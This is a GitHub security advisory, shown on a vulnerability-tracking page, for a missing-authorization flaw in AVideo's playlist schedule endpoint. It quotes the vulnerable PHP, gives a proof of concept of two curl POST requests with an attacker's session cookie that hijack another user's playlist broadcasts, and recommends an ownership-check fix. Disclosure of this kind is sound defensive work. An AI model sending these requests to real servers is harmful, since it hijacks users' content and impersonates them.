GHSA-2RM7-J397-3FQG

Vulnerability from github – Published: 2026-03-29 15:41 – Updated: 2026-03-29 15:41
VLAI
Summary
AVideo: Missing Authorization in Playlist Schedule Creation Allows Cross-User Broadcast Hijacking
Details

Summary

The plugin/PlayLists/View/Playlists_schedules/add.json.php endpoint allows any authenticated user with streaming permission to create or modify broadcast schedules targeting any playlist on the platform, regardless of ownership. When the schedule executes, the rebroadcast runs under the victim playlist owner's identity, allowing content hijacking and stream disruption.

Details

The endpoint at plugin/PlayLists/View/Playlists_schedules/add.json.php performs only a capability check, not an ownership check:

// add.json.php:14 — only checks if user CAN stream, not if they OWN the playlist
if (!User::canStream()) {
    forbiddenPage(__("You cannot livestream"));
}

// Line 18-19: attacker-controlled playlists_id is used directly
$o = new Playlists_schedules(@$_POST['id']);
$o->setPlaylists_id($_POST['playlists_id']);

The Playlists_schedules::save() method (line 182) only validates that playlists_id is non-empty — no ownership check:

public function save()
{
    if(empty($this->playlists_id)){
        _error_log("Playlists_schedules::save playlists_id is empty");
        return false;
    }
    // ...
    return parent::save();
}

When the schedule triggers via plugin/PlayLists/run.php, the rebroadcast executes under the playlist owner's user ID, not the schedule creator's:

// run.php:55 — uses playlist owner's ID
$pl = new PlayList($ps->playlists_id);
$response = Rebroadcaster::rebroadcastVideo(
    $ps->current_videos_id,
    $pl->getUsers_id(),  // <-- victim's user ID
    Playlists_schedules::getPlayListScheduledIndex($value['id']),
    $title
);

By contrast, all other playlist modification endpoints properly verify ownership via PlayLists::canManagePlaylist():

// PlayLists.php:55-68
static function canManagePlaylist($playlists_id)
{
    if (!User::isLogged()) return false;
    if (self::canManageAllPlaylists()) return true;
    $pl = new PlayList($playlists_id);
    if ($pl->getUsers_id() == User::getId()) return true;
    return false;
}

This check is used in saveShowOnTV.json.php:43, playListToSerie.php:24, and getPlaylistButtons.php:34, but is entirely absent from add.json.php.

Additionally, the delete.json.php endpoint requires User::isAdmin() (line 11), making the disparity with add.json.php even clearer.

When providing an existing schedule id via POST (line 18), no ownership check is performed on the existing schedule record either, allowing modification of any schedule on the platform.

PoC

# Step 1: Authenticate as a normal user with streaming permission
# Obtain PHPSESSID via login

# Step 2: Create a broadcast schedule targeting another user's playlist
# Replace VICTIM_PLAYLIST_ID with the target playlist ID (enumerable via API)
curl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \
  -H 'Cookie: PHPSESSID=<attacker_session>' \
  -d 'playlists_id=<VICTIM_PLAYLIST_ID>&name=hijacked&start_datetime=2026-03-26+12:00:00&finish_datetime=2026-03-27+12:00:00&loop=1&repeat=d&parameters={}'

# Expected: {"error":false} — schedule created for victim's playlist
# The schedule will execute via run.php under the victim's user identity

# Step 3: Modify an existing schedule by providing its id
curl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \
  -H 'Cookie: PHPSESSID=<attacker_session>' \
  -d 'id=<EXISTING_SCHEDULE_ID>&playlists_id=<VICTIM_PLAYLIST_ID>&name=modified&start_datetime=2026-03-26+00:00:00&finish_datetime=2026-03-28+00:00:00&loop=1&repeat=d&parameters={}'

Impact

  • Content hijacking: Attacker can force-broadcast content from any user's playlist, including private or paid content
  • Stream disruption: Scheduled rebroadcast can interfere with a victim's ongoing live streams
  • Identity abuse: Rebroadcast executes under the victim's user identity, making it appear the victim initiated the broadcast
  • Resource consumption: Scheduled broadcasts consume the victim's server bandwidth allocation
  • Schedule tampering: Existing schedules can be modified or redirected by any streaming user

Recommended Fix

Add ownership validation in add.json.php before saving:

// After line 16 (canStream check), add:
$playlists_id = intval($_POST['playlists_id']);
if (!PlayLists::canManagePlaylist($playlists_id)) {
    forbiddenPage(__("You cannot manage this playlist"));
}

// When editing existing schedules, also verify ownership of the existing record:
if (!empty($_POST['id'])) {
    $existing = new Playlists_schedules(intval($_POST['id']));
    if (!PlayLists::canManagePlaylist($existing->getPlaylists_id())) {
        forbiddenPage(__("You cannot modify this schedule"));
    }
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:41:33Z",
    "nvd_published_at": "2026-03-27T17:16:30Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `plugin/PlayLists/View/Playlists_schedules/add.json.php` endpoint allows any authenticated user with streaming permission to create or modify broadcast schedules targeting any playlist on the platform, regardless of ownership. When the schedule executes, the rebroadcast runs under the victim playlist owner\u0027s identity, allowing content hijacking and stream disruption.\n\n## Details\n\nThe endpoint at `plugin/PlayLists/View/Playlists_schedules/add.json.php` performs only a capability check, not an ownership check:\n\n```php\n// add.json.php:14 \u2014 only checks if user CAN stream, not if they OWN the playlist\nif (!User::canStream()) {\n    forbiddenPage(__(\"You cannot livestream\"));\n}\n\n// Line 18-19: attacker-controlled playlists_id is used directly\n$o = new Playlists_schedules(@$_POST[\u0027id\u0027]);\n$o-\u003esetPlaylists_id($_POST[\u0027playlists_id\u0027]);\n```\n\nThe `Playlists_schedules::save()` method (line 182) only validates that `playlists_id` is non-empty \u2014 no ownership check:\n\n```php\npublic function save()\n{\n    if(empty($this-\u003eplaylists_id)){\n        _error_log(\"Playlists_schedules::save playlists_id is empty\");\n        return false;\n    }\n    // ...\n    return parent::save();\n}\n```\n\nWhen the schedule triggers via `plugin/PlayLists/run.php`, the rebroadcast executes under the **playlist owner\u0027s** user ID, not the schedule creator\u0027s:\n\n```php\n// run.php:55 \u2014 uses playlist owner\u0027s ID\n$pl = new PlayList($ps-\u003eplaylists_id);\n$response = Rebroadcaster::rebroadcastVideo(\n    $ps-\u003ecurrent_videos_id,\n    $pl-\u003egetUsers_id(),  // \u003c-- victim\u0027s user ID\n    Playlists_schedules::getPlayListScheduledIndex($value[\u0027id\u0027]),\n    $title\n);\n```\n\nBy contrast, all other playlist modification endpoints properly verify ownership via `PlayLists::canManagePlaylist()`:\n\n```php\n// PlayLists.php:55-68\nstatic function canManagePlaylist($playlists_id)\n{\n    if (!User::isLogged()) return false;\n    if (self::canManageAllPlaylists()) return true;\n    $pl = new PlayList($playlists_id);\n    if ($pl-\u003egetUsers_id() == User::getId()) return true;\n    return false;\n}\n```\n\nThis check is used in `saveShowOnTV.json.php:43`, `playListToSerie.php:24`, and `getPlaylistButtons.php:34`, but is entirely absent from `add.json.php`.\n\nAdditionally, the `delete.json.php` endpoint requires `User::isAdmin()` (line 11), making the disparity with `add.json.php` even clearer.\n\nWhen providing an existing schedule `id` via POST (line 18), no ownership check is performed on the existing schedule record either, allowing modification of any schedule on the platform.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as a normal user with streaming permission\n# Obtain PHPSESSID via login\n\n# Step 2: Create a broadcast schedule targeting another user\u0027s playlist\n# Replace VICTIM_PLAYLIST_ID with the target playlist ID (enumerable via API)\ncurl -X POST \u0027https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php\u0027 \\\n  -H \u0027Cookie: PHPSESSID=\u003cattacker_session\u003e\u0027 \\\n  -d \u0027playlists_id=\u003cVICTIM_PLAYLIST_ID\u003e\u0026name=hijacked\u0026start_datetime=2026-03-26+12:00:00\u0026finish_datetime=2026-03-27+12:00:00\u0026loop=1\u0026repeat=d\u0026parameters={}\u0027\n\n# Expected: {\"error\":false} \u2014 schedule created for victim\u0027s playlist\n# The schedule will execute via run.php under the victim\u0027s user identity\n\n# Step 3: Modify an existing schedule by providing its id\ncurl -X POST \u0027https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php\u0027 \\\n  -H \u0027Cookie: PHPSESSID=\u003cattacker_session\u003e\u0027 \\\n  -d \u0027id=\u003cEXISTING_SCHEDULE_ID\u003e\u0026playlists_id=\u003cVICTIM_PLAYLIST_ID\u003e\u0026name=modified\u0026start_datetime=2026-03-26+00:00:00\u0026finish_datetime=2026-03-28+00:00:00\u0026loop=1\u0026repeat=d\u0026parameters={}\u0027\n```\n\n## Impact\n\n- **Content hijacking:** Attacker can force-broadcast content from any user\u0027s playlist, including private or paid content\n- **Stream disruption:** Scheduled rebroadcast can interfere with a victim\u0027s ongoing live streams\n- **Identity abuse:** Rebroadcast executes under the victim\u0027s user identity, making it appear the victim initiated the broadcast\n- **Resource consumption:** Scheduled broadcasts consume the victim\u0027s server bandwidth allocation\n- **Schedule tampering:** Existing schedules can be modified or redirected by any streaming user\n\n## Recommended Fix\n\nAdd ownership validation in `add.json.php` before saving:\n\n```php\n// After line 16 (canStream check), add:\n$playlists_id = intval($_POST[\u0027playlists_id\u0027]);\nif (!PlayLists::canManagePlaylist($playlists_id)) {\n    forbiddenPage(__(\"You cannot manage this playlist\"));\n}\n\n// When editing existing schedules, also verify ownership of the existing record:\nif (!empty($_POST[\u0027id\u0027])) {\n    $existing = new Playlists_schedules(intval($_POST[\u0027id\u0027]));\n    if (!PlayLists::canManagePlaylist($existing-\u003egetPlaylists_id())) {\n        forbiddenPage(__(\"You cannot modify this schedule\"));\n    }\n}\n```",
  "id": "GHSA-2rm7-j397-3fqg",
  "modified": "2026-03-29T15:41:33Z",
  "published": "2026-03-29T15:41:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2rm7-j397-3fqg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/1e6dc20172de986f60641eb4fdb4090f079ffdce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Missing Authorization in Playlist Schedule Creation Allows Cross-User Broadcast Hijacking"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…